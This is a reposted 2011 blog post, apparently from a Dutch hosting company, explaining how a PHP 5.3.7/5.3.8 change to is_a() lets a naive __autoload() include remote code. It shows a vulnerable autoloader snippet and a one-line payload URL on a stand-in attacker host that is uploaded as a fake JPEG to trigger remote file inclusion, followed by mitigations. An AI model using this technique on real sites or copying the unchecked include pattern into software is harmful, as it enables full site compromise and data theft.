Security bug in is_a function in PHP 5.3.7 / 5.3.8

上帝大脸

　　http://www.byte.nl/blog/2011/09/23/security-bug-in-is_a-function-in-php-5-3-7-5-3-8/
　　A few weeks ago we migrated a part of our hosting environment from PHP 5.3.6 to PHP 5.3.8. Normally an upgrade like this doesn’t cause any problems, since the PHP minor releases only contain bug- and security fixes. This time however, something big did
change. The behaviour of the is_a function was radically altered, causing quite a few errors for clients using certain PHP/PEAR Frameworks.. We quickly reverted it, investigated the issue and discovered both the source, and alarmingly, it turned out that a
big security hole was introduced.
　　

What was fixed?
　　PHP 5.3.7 included a fix for PHP bug
#53727. This fix however changed the behavior of the is_a() function, a function normally used to check if a certain variable is a child of a specific Class. The original behavior accepted all sorts of inputs as its primary argument, including strings.
The old behavior was to see if this “string” was an instance of a specific Class, which it obviously wasn’t, and return false. The new behavior however, attempts to be “helpful”, and passes its first argument to the __autoload() function. And it is this exact
change that caused such unexpected behavior for our customers.
　　The problem our customers were having is that they had some (custom) code that implemented a very basic autoloader, in an attempt to reduce memory footprints by automatically loading class definitions when they were needed using the __autoload() function.
Their code however never expected to be given anything other than a class name, but now all of a sudden they were receiving all sorts of objects. Take for example the following code snippet using a standard pear File library:

view source


print?

01	//autoload function from http://www.php.net/manual/en/language.oop5.autoload.php

02	function __autoload($class_name) {

03	include $class_name . '.php';

04

}

05	$uploaded_file = File::readAll($uploaded_filename);

06	if (PEAR::isError($uploaded_file)){

07	print_error($uploaded_file);

08

}else{

09	process_upload($uploaded_file);

10

}

　　Normally one wouldn’t expect the __autoload() function to be called at all here, but the PEAR::File library uses the PEAR standards and uses the PEAR::isError() call internally to check if the file was read correctly or if an error was returned. This function
ends up calling the is_a function, and this ends up calling the autoloader function, which is obviously poorly equipped to handle anything but explicit classnames.

As a result, even this standard piece of PHP code, using standard libraries and code snippets from the php.net site itself suddenly has its behavior changed. Instead of simply sending the uploaded file to the process_upload() function, the __autoload() function
now tries to include a file that doesn’t exist and throws a giant error to the client.

The problem with the new behavior
　　The biggest problem with this new behavior however, is not just the fact that errors are suddenly displayed. Of course this was a problem for the webmasters hosting at our servers, but the real problem lies even deeper than that…
　　A lot of __autoload() implementations we found on our systems use the standard example from the php.net to include their classes, which doesn’t contain any sort of checks before trying to include a file. While one could argue that it’s never a good idea
to simply copy example code into a live environment, this does happen more often than not, according to our scans. And it is exactly in this standard behavior that the problem lies.
　　If we look again at the example above, it’s easy to see what happens. A file, say a
JPG file, is uploaded by the user and read from the disk. The script checks to see if it read the file correctly and in doing so passes the contents of the uploaded file to the __autoload() function,
that tries to load the class. Now normally the server would print an error stating “Error: “include(/var/www/domain.com/upload/.php) [function.include]: failed to open stream: No such file or directory” (error #2).”, and present this to the user.

Now what if the user doesn’t upload an image file, but a carefully crafted text file with a
JPEG extension. Imagine for example the following contents in the file:

http://www.cracker.com/hack-me-include
　　Now we take that file and upload it to the website. The file is read by File::readAll(), its contents returned in the $uploaded_file. We pass this variable to the PEAR::isError() function, it passes it to the __autoload() function, which blindly prepares
the string to include:

"http://www.cracker.com/hack-me-include" . ".php"  =>  "http://www.cracker.com/hack-me-include.php".
　　A nice and complete URL. It feeds this to the include() function which downloads the file with code from the remote website and, eventually, executes it.

At this point, you can consider your website lost, as the hacker can execute whatever code it wants on your website. He has full access to your database configuration file, your settings, your database with customer information, and everything else. The only
recourse you have at this point is to restore your entire website from a known and trusted backup, change all your passwords (Both for your hosting envirnoment, your website, and for all your customers who’s information has been exposed to the hackers.

The fix
　　Luckily there’s quite a few ways to fix it.

• Disable the setting
  allow_url_include in your PHP.ini to prevent remote file inclusion
  
• Patch your __autoload() to only include from a local dir;
  view source
  
  
  print?
  
  
  
  
  

  1	include("./includes/" . $class_name . ".php");

  
  
• Install Suhosin to protect yourself from remote file inclusion, and more.
  

　　Of course, the best fix for this is to not install PHP 5.3.7 or PHP 5.3.8 untill the PHP Project has fixed
this bug and reverted to the old behavior
　　Update 2011-Sep-26: Replaced allow_url_fopen with allow_url_include, thanks Pierre!